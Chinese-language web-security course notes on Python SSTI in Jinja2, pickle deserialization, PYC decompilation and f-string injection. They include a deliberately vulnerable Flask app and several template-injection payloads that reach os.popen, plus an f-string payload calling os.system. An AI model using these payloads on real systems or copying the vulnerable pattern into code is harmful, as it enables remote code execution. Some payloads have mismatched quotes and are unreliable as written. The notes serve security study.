70
WEB 攻防-Python 安全&SSTI模版注入&Jinja2 引擎&利用绕过项目&黑盒检测
1、什么是 SSTI
SSTI(Server Side Template Injection,服务器端模板注入)服务端接收攻击者的输入,将其作为 web 应用模板内容的一部分在进行目标编译渲染的过程中,进行了语句的拼接,执行了所插入的恶意内容从而导致信息泄露、代码执行、Getshell 等问题,其影响范围取决于模版引擎复杂性,注意:模板引擎和渲染函数本身是没有漏洞的,该漏洞产生原因在于模板可控引发代码注入
2、各语言框架 SSTI
PHP:smarty、twig
Python:jinja2、mako、tornad、Django
java:Thymeleaf、jade、velocity、FreeMarker
其他:https://github.com/Pav-ksd-pl/websitesVulnerableToSSTI

3、Python-SSTI 形成
from flask import Flask, request, render_template_string
from jinja2 import Template
app = Flask(__name__)

@app.route('/')
def index():

name = request.args.get('name', default='xiaodi')
t = '''
<html>
    <h1>Hello %s</h1>
</html>
''' % (name)
# 将一段字符串作为模板进行渲染
return render_template_string(t)

app.run()
4、Python-SSTI 利用
判断利用
1、看那些类可用
{{'.__class__.__base__.__subclasses__()}}
2、找利用类索引

3、找利用类方法
{{'.__class__.__base__.__subclasses__()[133].__init__.__globals__'}
4、构造利用类方法
{{'.__class__.__base__.__subclasses__()[133].__init__.__globals__.popen(‘calc’)'}
其他利用方法:
config : {{config.__class__.__init__.__globals__['os'].popen('calc')}}
url_for : {{url_for.__globals__.os.popen('calc')}}
lipsum : {{lipsum.__globals__['os'].popen('calc')}}
get_flashed_messages : {{get_flashed_messages.__globals__['os'].popen('calc')}}
绕过限制-Ctfshow 项目参考:
https://www.cnblogs.com/tuzkizki/p/15394415.html
https://blog.csdn.net/m0_74456293/article/details/129429424
5、Python-sSTI 项目黑盒中建议判断利用:
https://github.com/epinna/tplmap
https://github.com/vladko312/SSTImap(推荐)

71
WEB 攻防-Python 安全&反序列化利用链&PYC 文件反编译&格式化字符串安全

Python-PYC-反编译文件出源码

pyc 文件是 py 文件编译后生成的字节码文件(byte code),pyc 文件经过 python 解释器最终会生成机器码运行。因此pyc 文件是可以跨平台部署的,类似Java的.class 文件,一般 py 文件改变后,都会重新生成pyc 文件。
真题:http://pan.baidu.com/s/1jGpB8DS
安装:pip install uncompyle6
使用:uncompyle6 -o test.py test.pyc
下载:https://github.com/rocky/python-uncompyle6

Python-反序列化-调用链&魔术方法各类语言序列化和反序列化函数:

Java:Serializable Externalizable接口、fastjson、jackson、gson、ObjectInputStream.read、0bjectObjectInputStream.readUnshared、XMLDecoder.read、ObjectYaml.loadXStream.fromXML、ObjectMapperreadValue、JSON.parse0bject等
PHP:serialize()、unserialize()
Python:pickle marshal json PyYAML shelve PIL unzip

序列化:把类对象转化为字节流或文件
反序列化:将字节流或文件转化为类对象

pickle.dump(obj,file):将对象序列化后保存到文件
pickle.load(file):将文件序列化内容反序列化为对象
pickle.dumps(obj):将对象序列化成字符串格式的字节流
pickle.loads(bytes obj):将字符串字节流反序列化为对象
PyYAML yaml.load()JSON json.loads(s)
Marshal
PyYAML
shelve
PIL

魔术方法:
reduce()反序列化时调用
reduce_ex()反序列化时调
setstate()反序列化时调用
getstate()序列化时调用

Python的反序列化特征是gA开头(base64后的序列化数据)
方法 :同Java php 重写魔术方法

f-Strings
这是python3.6之后新增的一种格式化字符串方式,其功能十分强大,可以执行字符串中包含的python表达式,安全隐患可想而知。

a,b=5,10
f'Five plus ten is {a + b} and not {2 *(a + b)}.’
'Five plus ten is 15 and not 30.'
f'{__ import__ ("os").system("id")}
uid=0(root)gid=0(root)groups=0(root)
‘0’